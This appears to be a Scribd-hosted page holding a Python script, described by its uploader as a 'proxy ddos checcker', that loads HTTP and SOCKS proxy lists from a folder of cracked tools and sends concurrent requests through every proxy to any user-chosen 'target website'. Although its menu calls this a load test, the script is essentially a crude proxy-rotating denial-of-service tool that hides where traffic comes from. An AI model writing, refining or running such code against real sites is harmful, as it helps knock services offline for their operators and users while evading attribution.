0% found this document useful (0 votes)
30 views

Python Code For Class

proxy ddos checcker

Uploaded by

marcelafsarfn2
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
30 views

Python Code For Class

proxy ddos checcker

Uploaded by

marcelafsarfn2
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

import requests

import pyfiglet
from colorama import Fore, Style, init
from concurrent.futures import ThreadPoolExecutor
import socks # Import the socks module for SOCKS proxy support
import time
import random

# Initialize colorama
init(autoreset=True)

# Load proxies from files


def load_proxies(file_path):
with open(file_path, 'r') as file:
return [line.strip() for line in file]

# Update file paths


http_proxies = load_proxies(r"C:\Users\marce\Documents\RATS\AstroProxy v2 Cracked
By Drcrypt0r\AstroProxy v2 Cracked By Drcrypt0r\results\HTTP_Proxies.txt")
socks4_proxies = load_proxies(r"C:\Users\marce\Documents\RATS\AstroProxy v2 Cracked
By Drcrypt0r\AstroProxy v2 Cracked By Drcrypt0r\results\SOCKS4_Proxies.txt")
socks5_proxies = load_proxies(r"C:\Users\marce\Documents\RATS\AstroProxy v2 Cracked
By Drcrypt0r\AstroProxy v2 Cracked By Drcrypt0r\results\SOCKS5_Proxies.txt")

# Combine all proxies into a single list


all_proxies = [
{"http": f"http://{proxy}", "https": f"http://{proxy}"} for proxy in
http_proxies
] + [
{"http": f"socks4://{proxy}", "https": f"socks4://{proxy}"} for proxy in
socks4_proxies
] + [
{"http": f"socks5://{proxy}", "https": f"socks5://{proxy}"} for proxy in
socks5_proxies
]

url = None

def send_request(proxy):
try:
response = requests.get(url, proxies=proxy, timeout=10) # Increased
timeout
print(f"{Fore.GREEN}Status Code: {response.status_code} for proxy:
{proxy}")
except requests.RequestException as e:
print(f"{Fore.RED}Request failed for proxy {proxy}: {e}")
finally:
# Sleep for a random time between 2 and 5 seconds and print waiting message
each second
wait_time = random.randint(2, 5)
for second in range(1, wait_time + 1):
print(f"Waiting {second} second{'s' if second > 1 else ''}...")
time.sleep(1)

def run_load_test(num_requests):
with ThreadPoolExecutor(max_workers=num_requests) as executor:
for proxy in all_proxies:
executor.submit(send_request, proxy)
def main_menu():
global url
banner = pyfiglet.figlet_format("Donk")
print(Fore.CYAN + banner)
print(Fore.CYAN + "Made by Marcel Afsar")

while True:
print(Fore.YELLOW + "1. Set Target Website")
print(Fore.YELLOW + "2. Start Load Test")
print(Fore.YELLOW + "3. Exit")

choice = input(Fore.CYAN + "Enter your choice: ")

if choice == '1':
url = input(Fore.CYAN + "Enter the target website URL: ")
elif choice == '2':
if url is None:
print(Fore.RED + "Please set the target website URL first.")
else:
num_requests = int(input(Fore.CYAN + "Enter number of concurrent
requests: "))
run_load_test(num_requests)
elif choice == '3':
print(Fore.CYAN + "Exiting...")
break
else:
print(Fore.RED + "Invalid choice. Please try again.")

if __name__ == "__main__":
main_menu()

You might also like